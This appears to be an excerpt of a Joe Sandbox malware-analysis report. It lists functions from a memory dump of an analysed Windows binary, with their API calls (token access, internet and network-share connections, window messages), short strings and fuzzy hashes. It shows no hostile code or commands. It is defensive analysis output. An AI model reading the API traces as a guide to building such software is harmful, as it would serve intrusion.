Instruction ID: 8f116180a69ff310c6dcb5c26dcb2837f6659bc974e60007e4b2a88b94803cd2
Opcode Fuzzy Hash: 1ab9da0c59b84c59bba9375d4036d41391cfc4fc0f4a9fe2f9c4a5e457e25623
Instruction Fuzzy Hash: 1CF05E3A052259FADB125F98BC0DFCE3F59AF16310F148100FA11650E2C7755521CFE9

Function 001C98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 001C98CC
SetTextColor.GDI32(?,?), ref: 001C98D6
SetBkMode.GDI32(?,00000001), ref: 001C98E9
GetStockObject.GDI32(00000005), ref: 001C98F1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: 1a5f89a8bb4aa0e982b8e856b272ac6ac4c7236b6807232ad52dbb6283a294b5
Instruction ID: 2d13335ff2d00b7f21e4ca09bad725c82fae4af3c3d8281397cebabc8ed12257
Opcode Fuzzy Hash: 1a5f89a8bb4aa0e982b8e856b272ac6ac4c7236b6807232ad52dbb6283a294b5
Instruction Fuzzy Hash: 3AE06D35645280AAEB615F78BC0DBE83F20AB16336F248219F6FE580E2C7B156509B10

Function 0021162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00211634
OpenThreadToken.ADVAPI32(00000000,?,?,?,002111D9), ref: 0021163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,002111D9), ref: 00211648
OpenProcessToken.ADVAPI32(00000000,?,?,?,002111D9), ref: 0021164F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: fa6b2e31a410da755bfb75071d8747bdab15f1772bb591f8eb0339c7af4c2d3a
Instruction ID: a70061a4cdf4c98216b10212b7c76d852c3d58476f9bfac58e29541c6130d614
Opcode Fuzzy Hash: fa6b2e31a410da755bfb75071d8747bdab15f1772bb591f8eb0339c7af4c2d3a
Instruction Fuzzy Hash: 87E08635603211DBD7B01FE4BD0DB863BBCAF567D1F244808F745C9090D6B44490CB50

Function 0020D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0020D858
GetDC.USER32(00000000), ref: 0020D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0020D882
ReleaseDC.USER32(?), ref: 0020D8A3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: e9f407306eb0edd863328d1754faa6dce605d433a5608b964fff8b08b8c30b3c
Instruction ID: e88c1a5e627de7bba64b76e695809260660b6b2b043a46da03edf64f06220cce
Opcode Fuzzy Hash: e9f407306eb0edd863328d1754faa6dce605d433a5608b964fff8b08b8c30b3c
Instruction Fuzzy Hash: 46E01AB8801204DFCB819FE8E80CA6DBBB5FB49310F21D059F816E7260C7788911AF40

Function 0020D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0020D86C
GetDC.USER32(00000000), ref: 0020D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0020D882
ReleaseDC.USER32(?), ref: 0020D8A3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 066386d898efb897627a41358c21fedcc243c96aff51506dc9323a7342039e46
Instruction ID: 72eabb65a76469d6b8ca09533813c725c443d78585f36074976b8d80c7239e3d
Opcode Fuzzy Hash: 066386d898efb897627a41358c21fedcc243c96aff51506dc9323a7342039e46
Instruction Fuzzy Hash: E9E04F78C01200DFCF909FB8E80C66DBBB5FB48310F219048F916E7260C77859019F40

Function 00224D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 001B7620: _wcslen.LIBCMT ref: 001B7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00224ED4

Strings

*, xrefs: 00224E10
LPT, xrefs: 00224DFB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: abaa3cf30c3460f1eeab5912be1a3c3abf783e20ddc3cfeaa2a690ad06d040ac
Instruction ID: 1c867d3ef3199d04c06bbe4d146e8e27255cbbb60fbee8a3cf97955425ff44a2
Opcode Fuzzy Hash: abaa3cf30c3460f1eeab5912be1a3c3abf783e20ddc3cfeaa2a690ad06d040ac
Instruction Fuzzy Hash: 8191C375A10215EFCB14EF98D584EA9BBF1BF88304F158099E40A9F7A2C771ED85CB90

Function 001DE27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 001DE30D

Strings

pow, xrefs: 001DE2E5, 001DE302

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: c1479c4527112b9b27b66f33c146ecbeebc736926aa91d6b6e335929f93a253b
Instruction ID: f1e43efb31292c1830e180c05cc9f5c92ed871272deed3fa52ea42e080f3c91c
Opcode Fuzzy Hash: c1479c4527112b9b27b66f33c146ecbeebc736926aa91d6b6e335929f93a253b
Instruction Fuzzy Hash: 27519E61A0CA42A6EB157715DD0537D3BE8FB50742F304D9AF0D58B3E8EB308C959A86

Function 00237771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0020569E,00000000,?,0024CC08,?,00000000,00000000), ref: 002378DD

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

CharUpperBuffW.USER32(0020569E,00000000,?,0024CC08,00000000,?,00000000,00000000), ref: 0023783B

Strings

<s', xrefs: 002377C8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <s'
API String ID: 3544283678-1932024504
Opcode ID: aadc5b1034171d5cb391e795b47e5de7c3b2701b7d8c43d507b57ee463401a2d
Instruction ID: 6629b12767f69b8407eeb43c9f219f794a6ca593ea4213d65e551b768db2a681
Opcode Fuzzy Hash: aadc5b1034171d5cb391e795b47e5de7c3b2701b7d8c43d507b57ee463401a2d
Instruction Fuzzy Hash: D0613BB2924219EACF14EFA4CC91DFDB3B8BF28700F544129F542A7191EB749A15DBA0

Function 001CE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 001CE1B1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: f2ac39e8b1b0e4c6cf53bd819b13e9d5f87c90ff3a699f381aaa6ca9ba1602e5
Instruction ID: ac7be255200dba730d163655595e12842e9eb1815acfad704ebd2c933bb78353
Opcode Fuzzy Hash: f2ac39e8b1b0e4c6cf53bd819b13e9d5f87c90ff3a699f381aaa6ca9ba1602e5
Instruction Fuzzy Hash: ED51F035500346DFDF19DF28C481BBABBA8EF65310F258459E8919B2E1D734DDA2CB90

Function 001CF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 001CF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 001CF2BB

Strings

@, xrefs: 001CF2AF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 2e4be23d674aeb1d385ee00f81889bf6c351caf9b3a9d1a65acdb931d13da1a7
Instruction ID: 858963f615491f657ccf784da16378cb8b6c15f65ce8e6b5a243d2fd8642fd4f
Opcode Fuzzy Hash: 2e4be23d674aeb1d385ee00f81889bf6c351caf9b3a9d1a65acdb931d13da1a7
Instruction Fuzzy Hash: CC5135714087449BD320AF14EC8ABABBBF8FB95300F81885DF5D9811A5EB709529CB66

Function 00235745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 002357E0
_wcslen.LIBCMT ref: 002357EC

Strings

CALLARGARRAY, xrefs: 002357E6, 002357EB

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: a27210244ba15686f1a230d9bde87d02f98d4dac021993d000b76ac16bc1ac85
Instruction ID: f447a937a1b72c64ae235a2352a895cb2e318bbc98f0f550a24008f215404bff
Opcode Fuzzy Hash: a27210244ba15686f1a230d9bde87d02f98d4dac021993d000b76ac16bc1ac85
Instruction Fuzzy Hash: 4E41A071A1021A9FCB14DFA9C8859EEBBF5EF69310F204029E509A7251E7709D91CB90

Function 0022D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0022D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0022D13A

Strings

|, xrefs: 0022D10B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: d33c3c542ee9806752e603cdbfb2b7955d587e327f5f97af9a172cc65ec4bfa2
Instruction ID: f695fb563630c114cea886aba31461950884e63b17d6915eb11fdeacb1d7e0df
Opcode Fuzzy Hash: d33c3c542ee9806752e603cdbfb2b7955d587e327f5f97af9a172cc65ec4bfa2
Instruction Fuzzy Hash: D0313E75D10219ABCF15EFA4DC85AEEBFB9FF14300F100019F819A6166DB35A916DB50

Function 0024356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00243621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0024365C

Strings

static, xrefs: 002435BC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: bc6264172cafb2bf5e19379ab36efe6a2fc5d4d5cf11ac0f263374e239c7c67a
Instruction ID: 6401768460c93f18d6b8e17d80b511ec904c0e65a3def622fb0a900d17c66c30
Opcode Fuzzy Hash: bc6264172cafb2bf5e19379ab36efe6a2fc5d4d5cf11ac0f263374e239c7c67a
Instruction Fuzzy Hash: EF319E71120605AEDB14DF28DC81EFB73ADFF98724F118619F8A597280DB70ADA1CB64

Function 00244537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 0024461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00244634

Strings

', xrefs: 0024458E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 5451d905ba3132d1662e9fbb7066f8a60c09fb0b85f819a30466e9cc2c7635a7
Instruction ID: d63ca288c62792d1908fe92c2a2630f388b14afdaf31f59d3d6ba1ad5e8e32c0
Opcode Fuzzy Hash: 5451d905ba3132d1662e9fbb7066f8a60c09fb0b85f819a30466e9cc2c7635a7
Instruction Fuzzy Hash: 40316A74A0130A9FDF18DFA9C980BDABBB9FF19300F50406AE905AB381D770A911CF90

Function 002431EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0024327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00243287

Strings

Combobox, xrefs: 00243249

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 647791631cf878f10f58e400f1094a12156a34228579ab0dead35734b93a0634
Instruction ID: 55a198b6d30c64e21f1866cb00862089565b6b1c4ab536601f1ef95d1c180f13
Opcode Fuzzy Hash: 647791631cf878f10f58e400f1094a12156a34228579ab0dead35734b93a0634
Instruction Fuzzy Hash: D011B2713202097FFF29DE54DC85EBB376AEB98364F104125FD189B290D6B19D618B60

Function 00243710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 001B600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001B604C
Part of subcall function 001B600E: GetStockObject.GDI32(00000011), ref: 001B6060
Part of subcall function 001B600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 001B606A

GetWindowRect.USER32(00000000,?), ref: 0024377A
GetSysColor.USER32(00000012), ref: 00243794

Strings

static, xrefs: 00243757

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 6edf2aeeaad315aa84b1be1f4f1a756cd19283b803d6ed99bf04196d0013aaf7
Instruction ID: 0c87c4e3d0040624784bc55eb94f1eea3e1bb3d74b574db20a323587160c23a0
Opcode Fuzzy Hash: 6edf2aeeaad315aa84b1be1f4f1a756cd19283b803d6ed99bf04196d0013aaf7
Instruction Fuzzy Hash: F51129B262020AAFDB05DFA8CC46AEE7BB8EB09314F104515F995E2250D775E8619B50

Function 0022CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0022CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0022CDA6

Strings

<local>, xrefs: 0022CD66

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 6108039f5f0cc1bc53bc9d85dd15bae285e482b112d6760a2a7e43bc1e21fe5b
Instruction ID: b90a2ef211f1dd138c58be928bfef25b91f87e142eecd1b566f4cb321e0281a3
Opcode Fuzzy Hash: 6108039f5f0cc1bc53bc9d85dd15bae285e482b112d6760a2a7e43bc1e21fe5b
Instruction Fuzzy Hash: B811C6752256327AD7384FA6AC49FEBBE6CEF127A4F204236B10983080D7749865D6F0

Function 00243429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 002434AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 002434BA

Strings

edit, xrefs: 0024348F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: aed0477364df773e0b7374b4b9a19751e25bfd642df45c37c82a214ed1df21cb
Instruction ID: 0933123b1f9cef95ae37ccdd59deb3e7e66fd4fb8f8e1122caad91ec6a038b27
Opcode Fuzzy Hash: aed0477364df773e0b7374b4b9a19751e25bfd642df45c37c82a214ed1df21cb
Instruction Fuzzy Hash: 8511CE71220209AFEB1A9F68EC44AFB376AEF15774F604324F964931E0C775DC619B60

Function 00216C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00216CB6
_wcslen.LIBCMT ref: 00216CC2

Strings

STOP, xrefs: 00216CBC, 00216CC1

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: ac832b985f8c5a62b930eb48de1b7f20360719a95cc6462c2e465dfc65bfca1d
Instruction ID: 9be594c1e7088cb78503a9e516b03dc449056c5b7067f1e489b572ad8cd7db6f
Opcode Fuzzy Hash: ac832b985f8c5a62b930eb48de1b7f20360719a95cc6462c2e465dfc65bfca1d
Instruction Fuzzy Hash: 4101C4326205278BCB209FFDEC889FF77E5EA757107500525E85296190EB31D9A0C690

Function 00211CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

Part of subcall function 00213CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00213CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00211D4C

Strings

ListBox, xrefs: 00211D16
ComboBox, xrefs: 00211CEB

Memory Dump Source

